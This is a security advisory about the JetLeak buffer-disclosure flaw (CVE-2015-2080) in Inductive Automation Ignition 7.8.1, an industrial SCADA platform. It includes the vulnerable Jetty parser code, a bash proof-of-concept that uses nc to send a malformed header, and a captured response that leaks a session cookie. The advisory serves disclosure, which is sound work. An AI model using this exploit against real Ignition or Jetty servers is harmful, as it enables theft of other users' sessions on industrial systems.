Inductive Automation Ignition 7.8.1 Remote Leakage Of Shared Buffers
Posted on 17 February 2016
Inductive Automation Ignition 7.8.1 Remote Leakage Of Shared Buffers Vendor: Inductive Automation Product web page: http://www.inductiveautomation.com Affected version: 7.8.1 (b2016012216) and 7.8.0 (b2015101414) Platform: Java Summary: Ignition is a powerful industrial application platform with fully integrated development tools for building SCADA, MES, and IIoT solutions. Desc: Remote unauthenticated atackers are able to read arbitrary data from other HTTP sessions because Ignition uses a vulnerable Jetty server. When the Jetty web server receives a HTTP request, the below code is used to parse through the HTTP headers and their associated values. The server begins by looping through each character for a given header value and checks the following: - On Line 1164, the server checks if the character is printable ASCII or not a valid ASCII character. - On Line 1172, the server checks if the character is a space or tab. - On Line 1175, the server checks if the character is a line feed. - If the character is non-printable ASCII (or less than 0x20), then all of the checks above are skipped over and the code throws an ‘IllegalCharacter’ exception on line 1186, passing in the illegal character and a shared buffer. --------------------------------------------------------------------------- File: jetty-httpsrcmainjavaorgeclipsejettyhttpHttpParser.java --------------------------------------------------------------------------- 920: protected boolean parseHeaders(ByteBuffer buffer) 921: { [..snip..] 1163: case HEADER_VALUE: 1164: if (ch>HttpTokens.SPACE || ch<0) 1165: { 1166: _string.append((char)(0xff&ch)); 1167: _length=_string.length(); 1168: setState(State.HEADER_IN_VALUE); 1169: break; 1170: } 1171: 1172: if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB) 1173: break; 1174: 1175: if (ch==HttpTokens.LINE_FEED) 1176: { 1177: if (_length > 0) 1178: { 1179: _value=null; 1180: _valueString=(_valueString==null)?takeString():(_valueString+" "+takeString()); 1181: } 1182: setState(State.HEADER); 1183: break; 1184: } 1185: 1186: throw new IllegalCharacter(ch,buffer); --------------------------------------------------------------------------- Tested on: Microsoft Windows 7 Professional SP1 (EN) Microsoft Windows 7 Ultimate SP1 (EN) Ubuntu Linux 14.04 Mac OS X HP-UX Itanium Jetty(9.2.z-SNAPSHOT) Java/1.8.0_73 Java/1.8.0_66 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5306 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5306.php CVE: CVE-2015-2080 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2080 Original: http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html Jetleak Test script: https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py Eclipse: http://git.eclipse.org/c/jetty/org.eclipse.jetty.project.git/plain/advisories/2015-02-24-httpparser-error-buffer-bleed.md https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md 14.01.2016 --- ####################### #!/bin/bash #RESOURCEPATH="/main/web/config/alarming.schedule?4674-1.IBehaviorListener.0-demo" RESOURCEPATH="/main/web/config/conf.modules?51461-4.IBehaviorListener.0-demo" BAD=$'a' function normalRequest { echo "-- Normal Request --" nc localhost 8088 << NORMREQ POST $RESOURCEPATH HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded;charset=utf-8 Connection: close Content-Length: 63 NORMREQ } function badCookie { echo "-- Bad Cookie --" nc localhost 8088 << BADCOOKIE GET $RESOURCEPATH HTTP/1.1 Host: localhost Coo${BAD}kie: ${BAD} BADCOOKIE } normalRequest echo "" echo "" badCookie ####################### Original raw analysis request via proxy using Referer: ------------------------------------------------------ GET /main/web/config/conf.modules?51461-4.IBehaviorListener.0-demo&_=1452849939485 HTTP/1.1 Host: localhost:8088 Accept: application/xml, text/xml, */*; q=0.01 X-Requested-With: XMLHttpRequest Wicket-Ajax: true User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 Wicket-Ajax-BaseURL: config/conf.modules?51461 Referer: x00 Response leaking part of Cookie session: ---------------------------------------- HTTP/1.1 400 Illegal character 0x0 in state=HEADER_VALUE in 'GET /main/web/con...461 Referer: x00<<< Accept-Encoding...tion: close >>>SESSIONID=15iwe0g...x0fCUxFaxBfxA4jx12x83xCbxE61~SxD1' Content-Length: 0 Connection: close Server: Jetty(9.2.z-SNAPSHOT)
